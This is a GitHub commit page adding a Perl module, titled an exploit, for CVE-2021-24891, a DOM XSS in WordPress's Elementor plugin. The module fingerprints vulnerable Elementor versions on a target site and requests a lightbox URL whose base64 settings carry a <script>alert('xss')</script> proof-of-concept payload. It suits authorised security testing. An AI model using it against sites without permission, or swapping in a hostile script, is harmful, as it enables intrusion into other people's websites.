-
-
Notifications
You must be signed in to change notification settings - Fork 26
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Exploit for CVE-2021-24891, Dom XSS Elementor plugin of wordpress
- Loading branch information
Showing
1 changed file
with
58 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,58 @@ | ||
package Spellbook::Advisory::CVE_2021_24891 { | ||
use strict; | ||
use warnings; | ||
use Spellbook::Core::UserAgent; | ||
|
||
sub new { | ||
my ($self, $parameters) = @_; | ||
my ($help, $target, @results); | ||
|
||
Getopt::Long::GetOptionsFromArray ( | ||
$parameters, | ||
"h|help" => \$help, | ||
"t|target=s" => \$target | ||
); | ||
|
||
if ($target) { | ||
if ($target !~ /^http(s)?:\/\//) { | ||
$target = "https://$target"; | ||
} | ||
|
||
my $useragent = Spellbook::Core::UserAgent -> new(); | ||
|
||
my $fingerprints = { | ||
1 => { | ||
endpoint => "/wp-content/plugins/elementor/assets/js/frontend.min.js", | ||
regex => "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)" | ||
}, | ||
2 => { | ||
endpoint => "/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoibnVsbCIsImh0bWwiOiI8c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0PiJ9", | ||
regex => "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)" | ||
} | ||
}; | ||
|
||
foreach my $key (keys %$fingerprints) { | ||
my $inner_hash = $fingerprints -> {$key}; | ||
my $request = $useragent -> get($target . $inner_hash->{endpoint}); | ||
|
||
if (($request -> code() == 200) && $request -> decoded_content() =~ m/$inner_hash->{regex}/) { | ||
push @results, $target . $inner_hash -> {endpoint}; | ||
} | ||
} | ||
|
||
return @results; | ||
} | ||
|
||
if ($help) { | ||
return " | ||
\rAdvisory::CVE_2021_24891 | ||
\r======================= | ||
\r-h, --help See this menu | ||
\r-t, --target Define a target\n\n"; | ||
} | ||
|
||
return 0; | ||
} | ||
} | ||
|
||
1; |